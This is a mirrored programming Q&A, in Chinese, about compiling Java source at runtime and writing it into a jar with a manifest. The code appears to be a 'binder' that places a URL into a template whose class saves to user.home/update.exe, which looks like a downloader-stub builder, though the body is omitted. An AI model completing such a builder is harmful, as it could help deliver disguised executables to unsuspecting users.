Java以编程方式编译jar

时间:2012-04-09 17:07:50

标签: java jar javac

我在文本文件中有java源代码。必须在源代码中输入一些自定义硬编码变量,然后必须将其转换为jar。这有效,但是当我运行jar时,找不到Main类。

当我用WinRAR提取jar文件时,我似乎找不到错误。

当我通过cmd运行生成/提取的类文件时,我得到“错误:无法找到或加载主类Main”

生成清单:

Manifest-Version: 1.0
Main-Class: javabinder.Main

源代码:

public class JarOutStream extends  Thread{
    public static final String HOME = "/javabinder/";
    public static String url;
    public JarOutStream(String text) {
        url = text;
    }

    @Override
    public void run()
    {
        try {
            //Read file and place the URL
            BufferedReader br = new BufferedReader(new InputStreamReader(getClass().getClassLoader().getResourceAsStream("./net/sharpcode/binder/data.txt")));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null)
            {
                if(line.contains("#URL#"))
                    line = line.replace("#URL#", url);
                sb.append(line);
                sb.append("\n");
            }
            br.close();

            JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
            DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();
            JavaFileObject file = new JavaSourceFromString("Main", sb.toString());
            Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
            CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);
            boolean success = task.call();
            if(!success) {
                JOptionPane.showMessageDialog(null, "Error while compiling.");
                return;
            }
            //Create the jar and add the compiled java file
            Manifest manifest = new Manifest();
            manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0");
            manifest.getMainAttributes().put(Attributes.Name.MAIN_CLASS, "javabinder.Main");
            JarOutputStream target = new JarOutputStream(new FileOutputStream(new File(HOME + File.separator + "output.jar")), manifest);
            String path = Bootstrapper.class.getProtectionDomain().getCodeSource().getLocation().getPath() + "Main.class";
            System.out.println(path);
            //Error with the path I guess.
            add(new File(path), target);

            target.close();

            JOptionPane.showMessageDialog(null, "Completed!");
        } catch (Exception ex) {
            System.out.println("Error : " + ex.toString());
            ex.printStackTrace();
        }
    }

    private void add(File source, JarOutputStream target) throws IOException
    {
        BufferedInputStream in = null;
        try
        {
            if (source.isDirectory())
            {
                String name = source.getPath().replace("\\", "/");
                if (!name.isEmpty())
                {
                    if (!name.endsWith("/"))
                        name += "/";
                    JarEntry entry = new JarEntry(name);
                    entry.setTime(source.lastModified());
                    target.putNextEntry(entry);
                    target.closeEntry();
                }
                for (File nestedFile: source.listFiles())
                    add(nestedFile, target);
                return;
            }

            JarEntry entry = new JarEntry(source.getPath().replace("\\", "/"));
            entry.setTime(source.lastModified());
            target.putNextEntry(entry);
            in = new BufferedInputStream(new FileInputStream(source));

            byte[] buffer = new byte[1024];
            while (true)
            {
                int count = in.read(buffer);
                if (count == -1)
                    break;
                target.write(buffer, 0, count);
            }
            target.closeEntry();
        }
        finally
        {
            if (in != null)
                in.close();
        }
    }
    class JavaSourceFromString extends SimpleJavaFileObject {
        final String code;
        JavaSourceFromString(String name, String code) {
            super(URI.create("string:///" + name.replace(".","/") + Kind.SOURCE.extension),Kind.SOURCE);
            this.code = code;
        }
        @Override
        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return code;
        }
    }
}

包含java源代码的文本文件:

import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;


public class Main
{
    private static final String LOCAL_LOCATION = System.getProperty("user.home") + File.separator + "update.exe";
    private static final String URL = "#URL#";

    public static void main(String args[]) throws Exception
    {
       //CODE (no compile errors)
    }
}

更新:正如所建议的那样,我现在正在使用JavaCompiler类。哪个有效,但我仍然有把它放在罐子里的问题。

1 个答案:

答案 0 :(得分:2)

如何使用JavaCompiler